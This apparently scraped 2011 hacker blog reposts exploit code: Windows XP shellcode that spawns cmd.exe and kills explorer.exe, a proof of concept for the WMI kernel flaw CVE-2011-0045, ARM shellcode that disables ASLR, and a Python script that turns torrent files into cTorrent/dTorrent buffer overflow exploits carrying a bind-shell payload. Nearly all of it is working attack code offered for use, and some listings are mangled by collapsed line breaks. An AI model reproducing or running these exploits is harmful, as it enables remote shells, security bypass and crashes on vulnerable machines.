#(+) Exploit Title: win32/xp sp3 cmd.exe Shellcode 50 bytes
#(+) Category : win32-Shellcodes
#(+) Tested on : Windows Xp 32 bit
Code:
____________________________________________________________________________________________________
____________________________________________________________________________________________________
include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
unsigned char shellcode[]=
"\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x35\x53\xbb\xad\x23\x86\x7c"
"\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20"
"\x73\x74\x61\x72\x74";
printf("Size = %d bytes\n", strlen(shellcode));
((void (*)())shellcode)();
return 0;
}
This Blog is for intellectual computer persons. Who not only like computing but feel proud to be a computer maniac. More over this is the place for hackers and Programmers. We Shall Over Come !!!!!
Post Your Wish
Wednesday, May 11, 2011
win32/xp sp3 cmd.exe Shellcode 50 bytes
win32/xp sp3 Force Kill explorer.exe process Shellcode 73 Bytes
#(+) Exploit Title: win32/xp sp3 Force Kill explorer.exe process Shellcode 73 Bytes
#(+) E-mail : andrew.nile@google.com
#(+) Category : win32-Shellcodes
#(+) Tested on : Windows Xp 32 bit
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Code:
____________________________________________________________________________________________________
____________________________________________________________________________________________________
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
unsigned char shellcode[]=
"\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x35\x53\xbb\xad\x23\x86\x7c"
"\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3"
"\xe8\xe0\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x54\x41\x53\x4b"
"\x4b\x49\x4c\x4c\x20\x2f\x46\x20\x2f\x49\x4d\x20\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e\x65\x78\x65";
printf("Size = %d bytes\n", strlen(shellcode));
((void (*)())shellcode)();
return 0;
}
Tuesday, April 26, 2011
MS Windows XP WmiTraceMessageVa Integer
/*
# Exploit Title: MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC
# Version: prior to MS11-011
# Tested on: Win XP SP3
# CVE : CVE-2011-0045
# Status : Patched
*/
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <strsafe.h>
#include <wmistr.h>
#include <evntrace.h>
#define WmiTraceMessageCode 40
#define WmiCreateUMLogger 84
#define WmiStartLoggerCode 32
#define IOCTL_WMI_TRACE_MESSAGE \
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,
METHOD_NEITHER, FILE_WRITE_ACCESS)
/*
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
#define IOCTL_WMI_TRACE_MESSAGE \
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,
METHOD_NEITHER, FILE_WRITE_ACCESS)
#define IOCTL_WMI_CREATE_UM_LOGGER CTL_CODE(FILE_DEVICE_UNKNOWN,
WmiCreateUMLogger, METHOD_BUFFERED, FILE_READ_ACCESS)
#define IOCTL_WMI_START_LOGGER \
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiStartLoggerCode,
METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef struct _STRING64 {
USHORT Length;
USHORT MaximumLength;
ULONGLONG Buffer;
} STRING64;
typedef STRING64 *PSTRING64;
typedef STRING64 UNICODE_STRING64;
typedef UNICODE_STRING64 *PUNICODE_STRING64;
//
// WNODE definition
typedef struct _WNODE_HEADER
{
ULONG BufferSize; // Size of entire buffer inclusive of this
ULONG
ULONG ProviderId; // Provider Id of driver returning this buffer
union
{
ULONG64 HistoricalContext; // Logger use
struct
{
ULONG Version; // Reserved
ULONG Linkage; // Linkage field reserved for WMI
};
};
union
{
ULONG CountLost; // Reserved
HANDLE KernelHandle; // Kernel handle for data block
LARGE_INTEGER TimeStamp; // Timestamp as returned in units of 100ns
// since 1/1/1601
};
GUID Guid; // Guid for data block returned with results
ULONG ClientContext;
ULONG Flags; // Flags, see below
} WNODE_HEADER, *PWNODE_HEADER;
//
// Logger configuration and running statistics. This structure is used
// by WMI.DLL to convert to UNICODE_STRING
//
// begin_wmikm
typedef struct _WMI_LOGGER_INFORMATION {
WNODE_HEADER Wnode; // Had to do this since wmium.h comes later
//
// data provider by caller
ULONG BufferSize; // buffer size for logging (in
kbytes)
ULONG MinimumBuffers; // minimum to preallocate
ULONG MaximumBuffers; // maximum buffers allowed
ULONG MaximumFileSize; // maximum logfile size (in MBytes)
ULONG LogFileMode; // sequential, circular
ULONG FlushTimer; // buffer flush timer, in seconds
ULONG EnableFlags; // trace enable flags
LONG AgeLimit; // aging decay time, in minutes
ULONG Wow; // TRUE if the logger started
under WOW64
union {
HANDLE LogFileHandle; // handle to logfile
ULONG64 LogFileHandle64;
};
// data returned to caller
// end_wmikm
union {
// begin_wmikm
ULONG NumberOfBuffers; // no of buffers in use
// end_wmikm
ULONG InstanceCount; // Number of Provider Instances
};
union {
// begin_wmikm
ULONG FreeBuffers; // no of buffers free
// end_wmikm
ULONG InstanceId; // Current Provider's Id for
UmLogger
};
union {
// begin_wmikm
ULONG EventsLost; // event records lost
// end_wmikm
ULONG NumberOfProcessors; // Passed on to UmLogger
};
// begin_wmikm
ULONG BuffersWritten; // no of buffers written to file
ULONG LogBuffersLost; // no of logfile write failures
ULONG RealTimeBuffersLost; // no of rt delivery failures
union {
HANDLE LoggerThreadId; // thread id of Logger
ULONG64 LoggerThreadId64; // thread is of Logger
};
union {
UNICODE_STRING LogFileName; // used only in WIN64
UNICODE_STRING64 LogFileName64; // Logfile name: only in WIN32
};
// mandatory data provided by caller
union {
UNICODE_STRING LoggerName; // Logger instance name in WIN64
UNICODE_STRING64 LoggerName64; // Logger Instance name in WIN32
};
// private
union {
PVOID Checksum;
ULONG64 Checksum64;
};
union {
PVOID LoggerExtension;
ULONG64 LoggerExtension64;
};
} WMI_LOGGER_INFORMATION, *PWMI_LOGGER_INFORMATION;
*/
typedef struct _WMI_TRACE_MESSAGE_PACKET { // must be ULONG!!
USHORT MessageNumber; // The message Number, index
of messages by GUID
// Or ComponentID
USHORT OptionFlags ; // Flags associated with the
message
} WMI_TRACE_MESSAGE_PACKET, *PWMI_TRACE_MESSAGE_PACKET;
typedef struct _MESSAGE_TRACE_HEADER {
union {
ULONG Marker;
struct {
USHORT Size; // Total Size of the
message including header
UCHAR Reserved; // Unused and reserved
UCHAR Version; // The message structure
type (TRACE_MESSAGE_FLAG)
};
};
union {
ULONG Header; // both sizes must be the same!
WMI_TRACE_MESSAGE_PACKET Packet;
};
} MESSAGE_TRACE_HEADER, *PMESSAGE_TRACE_HEADER;
typedef struct _MESSAGE_TRACE {
MESSAGE_TRACE_HEADER MessageHeader ;
UCHAR Data ;
} MESSAGE_TRACE, *PMESSAGE_TRACE ;
//
// Structure used to pass user log messages to the kernel
//
typedef struct _MESSAGE_TRACE_USER {
MESSAGE_TRACE_HEADER MessageHeader ;
ULONG MessageFlags ;
ULONG64 LoggerHandle ;
GUID MessageGuid ;
ULONG DataSize ;
UCHAR Data ;
} MESSAGE_TRACE_USER, *PMESSAGE_TRACE_USER ;
/*
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type
SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef union
{
HANDLE Handle;
ULONG64 Handle64;
ULONG32 Handle32;
} HANDLE3264, *PHANDLE3264;
typedef struct
{
IN POBJECT_ATTRIBUTES ObjectAttributes;
IN GUID ControlGuid;
OUT HANDLE3264 ReplyHandle;
OUT ULONG ReplyCount;
} WMICREATEUMLOGGER, *PWMICREATEUMLOGGER;
*/
//#define LOGFILE_PATH L"<FULLPATHTOLOGFILE.etl>"
#define LOGFILE_PATH L"test.etl"
//#define LOGSESSION_NAME L"My Event Trace Session"
#define LOGSESSION_NAME L"test"
// GUID that identifies your trace session.
// Remember to create your own session GUID.
// {94BE0BF2-885F-4972-8461-A7D83B53F1AD}
static const GUID SessionGuid =
{ 0x94be0bf2, 0x885f, 0x4972, { 0x84, 0x61, 0xa7, 0xd8, 0x3b, 0x53,
0xf1, 0xad } };
// GUID that identifies the provider that you want
// to enable to your session.
// {7C214FB1-9CAC-4b8d-BAED-7BF48BF63BB3}
static const GUID ProviderGuid =
{ 0x7c214fb1, 0x9cac, 0x4b8d, { 0xba, 0xed, 0x7b, 0xf4, 0x8b, 0xf6,
0x3b, 0xb3 } };
int trigger(HANDLE hDevice);
int start_usermode_logger(HANDLE hDevice);
int start_logger(HANDLE hDevice);
HANDLE open_device();
int main(int argc, char **argv)
{
HANDLE hDevice;
if((hDevice = open_device()) == INVALID_HANDLE_VALUE){
printf("open_device failed!\n");
return 0;
}
if(!start_usermode_logger(hDevice)){
printf("start_usermode_logger failed!\n");
return 0;
}
/*
if(!start_logger(hDevice)){
printf("start_logger failed!\n");
return 0;
}
*/
trigger(hDevice);
return 0;
}
HANDLE open_device()
{
char deviceName[] = "\\\\.\\WMIDataDevice";
HANDLE hDevice;
if ( (hDevice = CreateFileA(deviceName,
GENERIC_READ|GENERIC_WRITE,
//0,
0,
0,
OPEN_EXISTING,
0,
NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device succesfully opened!\n");
return hDevice;
}
else
{
printf("Error: Error opening device at NULL premission\n");
return INVALID_HANDLE_VALUE;
}
}
int start_usermode_logger(HANDLE hDevice)
{
ULONG status = ERROR_SUCCESS;
TRACEHANDLE SessionHandle = 0;
EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;
ULONG BufferSize = 0;
BOOL TraceOn = TRUE;
// Allocate memory for the session properties. The memory must
// be large enough to include the log file name and session name,
// which get appended to the end of the session properties structure.
BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) +
sizeof(LOGSESSION_NAME);
pSessionProperties = (EVENT_TRACE_PROPERTIES*) malloc(BufferSize);
if (NULL == pSessionProperties)
{
wprintf(L"Unable to allocate %d bytes for properties
structure.\n", BufferSize);
return 0;
}
// Set the session properties. You only append the log file name
// to the properties structure; the StartTrace function appends
// the session name for you.
ZeroMemory(pSessionProperties, BufferSize);
pSessionProperties->Wnode.BufferSize = BufferSize;
pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
pSessionProperties->Wnode.Guid = SessionGuid;
pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR |
EVENT_TRACE_USE_PAGED_MEMORY;
pSessionProperties->MaximumFileSize = 5; // 5 MB
pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
pSessionProperties->LogFileNameOffset =
sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
StringCbCopy((LPWSTR)((char*)pSessionProperties +
pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);
// Create the trace session.
status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME,
pSessionProperties);
if (ERROR_SUCCESS != status)
{
wprintf(L"StartTrace() failed with %lu\n", status);
return 0;
}
// Enable the providers that you want to log events to your session.
status = EnableTrace(
TraceOn, // TRUE enables the provider
0, // No enable flags
TRACE_LEVEL_INFORMATION, // Enable informational, warning, error
and critical events
(LPCGUID)&ProviderGuid, // Provider to enable
SessionHandle // Session handle from StartTrace
);
if (ERROR_SUCCESS != status)
{
wprintf(L"EnableTrace() failed with %lu\n", status);
TraceOn = FALSE;
return 0;
}
wprintf(L"Run the provider application. Then hit any key to stop the
session.\n");
return 1;
}
int trigger(HANDLE hDevice)
{
DWORD cb, inlen, outlen;
char *buff, *buff_out = NULL;
DWORD result = 0;
unsigned char str[] = "fuckdata";
MESSAGE_TRACE_USER Message;
Message.MessageHeader.Marker = 0xBEBEBEBE;
Message.MessageHeader.Header = 0xEFEFEFEF;
Message.MessageFlags = 0xC0C0DEDE;
//Message.LoggerHandle = 0xC0DEC0DEDEADDEAD;
//Message.LoggerHandle = 0xC0DEC0DE12340001;//last WORD should be in
1 < n < 40
Message.LoggerHandle = 0xC0DEC0DE12340000;//last WORD should be in 1
< n < 40
Message.MessageGuid.Data1 = 0xC0DEDEAD;
Message.MessageGuid.Data2 = 0xDEC0;
Message.MessageGuid.Data3 = 0xDEDE;
memcpy(Message.MessageGuid.Data4, str, 8);
//Message.DataSize = 0xDEADBEEF;
//Message.DataSize = 0x0000FFFE;//in fixed versioon should be < 0x1FD0
Message.DataSize = 0x00010FF0;//in fixed versioon should be < 0x1FD0
Message.Data = '0';
//DWORD ioctl = 0x2280A3;
buff_out = (char*)malloc(0x2000);
if(!buff_out){
printf("malloc failed");
return 0;
}
memset(buff_out, 0x0, 0x2000);
cb = 0;
buff = (char*)malloc(0x20000);
if(!buff){
printf("malloc failed");
return 0;
}
memset(buff, 'A', 0x20000-1);
outlen = 0x0;
inlen = 0x15000;
memcpy(buff, &Message, 0x30);
//result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,
(LPVOID)&Message, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
for(int i =0; i< 0x40; i++){
Message.LoggerHandle++;
memset(buff, 'A', 0x20000-1);
memcpy(buff, &Message, 0x30);
result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,
(LPVOID)buff, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
printf("ioctl = 0x%08X, id = %d, result = %d\n",
IOCTL_WMI_TRACE_MESSAGE, i, result);
}
printf("done!");
free(buff);
}Saturday, April 23, 2011
linux/ARM - Disable ASLR Security - 102 bytes
============================================= linux/ARM - Disable ASLR Security - 102 bytes ============================================= /* Title: Linux/ARM - Disable ASLR Security - 102 bytes Date: 2010-06-20 Tested: Linux ARM9 2.6.28-6-versatile ! Database of shellcodes http://www.shell-storm.org/shellcode/ Description: ============ Address space layout randomization (ASLR) is a computer security technique which involves randomly arranging the positions of key data areas, usually including the base of the executable and position of libraries, heap, and stack, in a process's address space. This shellcode disables the ASLR on linux/ARM */ #include <stdio.h> char *SC = "\x01\x30\x8f\xe2" // add r3, pc, #1 "\x13\xff\x2f\xe1" // bx r3 "\x24\x1b" // subs r4, r4, r4 "\x20\x1c" // adds r0, r4, #0 "\x17\x27" // movs r7, #23 "\x01\xdf" // svc 1 "\x78\x46" // mov r0, pc "\x2e\x30" // adds r0, #46 "\xc8\x21" // movs r1, #200 "\xc8\x31" // adds r1, #200 "\xc8\x31" // adds r1, #200 "\xc8\x31" // adds r1, #200 "\xc8\x31" // adds r1, #200 "\x59\x31" // adds r1, #89 "\xc8\x22" // movs r2, #200 "\xc8\x32" // adds r2, #200 "\x14\x32" // adds r2, #20 "\x05\x27" // movs r7, #5 "\x01\xdf" // svc 1 "\x03\x20" // movs r0, #3 "\x79\x46" // mov r1, pc "\x0e\x31" // adds r1, #14 "\x02\x22" // movs r2, #2 "\x04\x27" // movs r7, #4 "\x01\xdf" // svc 1 "\x92\x1a" // subs r2, r2, r2 "\x10\x1c" // adds r0, r2, #0 "\x01\x27" // movs r7, #1 "\x01\xdf" // svc 1 "\x30\x0a" // ^ "\x2d\x2d" // | "\x2f\x2f" // | "\x70\x72" // | "\x6f\x63" // | "\x2f\x73" // | "\x79\x73" // | "\x2f\x6b" // | "\x65\x72" // | "\x6e\x65" // | [ strings ] "\x6c\x2f" // | "\x72\x61" // | "\x6e\x64" // | "\x6f\x6d" // | "\x69\x7a" // | "\x65\x5f" // | "\x76\x61" // | "\x5f\x73" // | "\x70\x61" // | "\x63\x65"; // v int main(void) { fprintf(stdout,"Length: %d\n",strlen(SC)); (*(void(*)()) SC)(); return 0;
}
cTorrent/DTorrent (.Torrent File) Buffer Overflow Exploit
========================================================= cTorrent/DTorrent (.Torrent File) Buffer Overflow Exploit ========================================================= #!/usr/bin/python #Stack Based Buffer Overflow #The vulnerability is in the btFiles::BuildFromMI function #inside the btfiles.cpp file #Exploit tested on cTorrent 1.3.4 using Debian Sarge using Linux kernel 2.4.27-3-386 #Can't get the exploit working on a modern linux kernel because of ASLR #code is using python 2.5 #Home page for cTorrent 1.3.4: #http://sourceforge.net/projects/ctorrent/ 161,000+ Downloads #dTorrent 3.3.2 is also vulnerable: #http://sourceforge.net/projects/dtorrent/ 18,000+ downloads import sys import os #This code will take any torrent file and turn it into an exploit. USAGE="python exploit.py in_file.torrent out_file.torrent" def main(): #Start of the program bfile=fileio() try: bad_torrent=bfile.read_bencode(sys.argv[1]) except: print USAGE sys.exit() exploit_str=create_exploit() print("Writing Bytes:"+str(len(exploit_str))) bad_torrent["info"]["files"][0]["path"][0]=exploit_str try: bfile.write_bencode(sys.argv[2], bad_torrent) except: print USAGE sys.exit() def create_exploit(): # linux_ia32_bind - LPORT=4444 Size=108 Encoder=PexFnstenvSub http://metasploit.com shellcode = "\x2b\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" shellcode += "\x1a\xbe\x4e\x83\xeb\xfc\xe2\xf4\x16\xc1\xed\x0d\x74\x70\xbc\x24" shellcode += "\x41\x42\x27\xc7\xc6\xd7\x3e\xd8\x64\x48\xd8\x26\x36\x46\xd8\x1d" shellcode += "\xae\xfb\xd4\x28\x7f\x4a\xef\x18\xae\xfb\x73\xce\x97\x7c\x6f\xad" shellcode += "\xea\x9a\xec\x1c\x71\x59\x37\xaf\x97\x7c\x73\xce\xb4\x70\xbc\x17" shellcode += "\x97\x25\x73\xce\x6e\x63\x47\xfe\x2c\x48\xd6\x61\x08\x69\xd6\x26" shellcode += "\x08\x78\xd7\x20\xae\xf9\xec\x1d\xae\xfb\x73\xce" #The exact address of our buffer is 0xbffffccc, which ebx tells us #however memeory changes before we control the eip, #so we change the addr to hit the NOP sled eip="\x11\xf1\xff\xbf" #eip="\xcc\xfc\xff\xbf"#the add ebx is holding #this is a dummy address to satisfy other pointer before we return #this cannot be the EIP becuase this location is written to! dumb_addr="\xcc\xfc\xff\xbf" #nop sled long_str="\x90"*(4028-len(shellcode)) #memory around the shellcode is written to, but this is a safe place long_str+=shellcode #this 100byte buffer is written to before we control the eip long_str+="\x90"*100 long_str+=eip#4128 bytes is the EIP! #This pointer must be real becuase it is written to in btFiles::BuildFromMI long_str+=dumb_addr#"this" #We can control these addresses but we don't need them #long_str+=dumb_addr#"metabuf" #long_str+=dumb_addr#"saveas" return long_str #Start of functions for bencoding: def BTFailure(msg): pass def decode_int(x, f): f += 1 newf = x.index('e', f) n = int(x[f:newf]) if x[f] == '-': if x[f + 1] == '0': raise ValueError elif x[f] == '0' and newf != f+1: raise ValueError return (n, newf+1) def decode_string(x, f): colon = x.index(':', f) n = int(x[f:colon]) if x[f] == '0' and colon != f+1: raise ValueError colon += 1 return (x[colon:colon+n], colon+n) def decode_list(x, f): r, f = [], f+1 while x[f] != 'e': v, f = decode_func[x[f]](x, f) r.append(v) return (r, f + 1) def decode_dict(x, f): r, f = {}, f+1 while x[f] != 'e': k, f = decode_string(x, f) r[k], f = decode_func[x[f]](x, f) return (r, f + 1) decode_func = {} decode_func['l'] = decode_list decode_func['d'] = decode_dict decode_func['i'] = decode_int decode_func['0'] = decode_string decode_func['1'] = decode_string decode_func['2'] = decode_string decode_func['3'] = decode_string decode_func['4'] = decode_string decode_func['5'] = decode_string decode_func['6'] = decode_string decode_func['7'] = decode_string decode_func['8'] = decode_string decode_func['9'] = decode_string def bdecode(x): try: r, l = decode_func[x[0]](x, 0) except (IndexError, KeyError, ValueError): raise BTFailure("not a valid bencoded string") if l != len(x): raise BTFailure("invalid bencoded value (data after valid prefix)") return r from types import StringType, IntType, LongType, DictType, ListType, TupleType class Bencached(object): __slots__ = ['bencoded'] def __init__(self, s): self.bencoded = s def encode_bencached(x,r): r.append(x.bencoded) def encode_int(x, r): r.extend(('i', str(x), 'e')) def encode_bool(x, r): if x: encode_int(1, r) else: encode_int(0, r) def encode_string(x, r): r.extend((str(len(x)), ':', x)) def encode_list(x, r): r.append('l') for i in x: encode_func[type(i)](i, r) r.append('e') def encode_dict(x,r): r.append('d') ilist = x.items() ilist.sort() for k, v in ilist: r.extend((str(len(k)), ':', k)) encode_func[type(v)](v, r) r.append('e') encode_func = {} encode_func[Bencached] = encode_bencached encode_func[IntType] = encode_int encode_func[LongType] = encode_int encode_func[StringType] = encode_string encode_func[ListType] = encode_list encode_func[TupleType] = encode_list encode_func[DictType] = encode_dict try: from types import BooleanType encode_func[BooleanType] = encode_bool except ImportError: pass def bencode(x): r = [] encode_func[type(x)](x, r) return ''.join(r) class fileio: def read_bencode(self,file): infile = open(file,"r") file=infile.read() infile.close return bdecode(file) #writes a dictionary to a bencoded file def write_bencode(self,file,dict): outfile = open(file, 'wb') outfile.write(bencode(dict)) outfile.close() #execute main main()
Subscribe to:
Posts (Atom)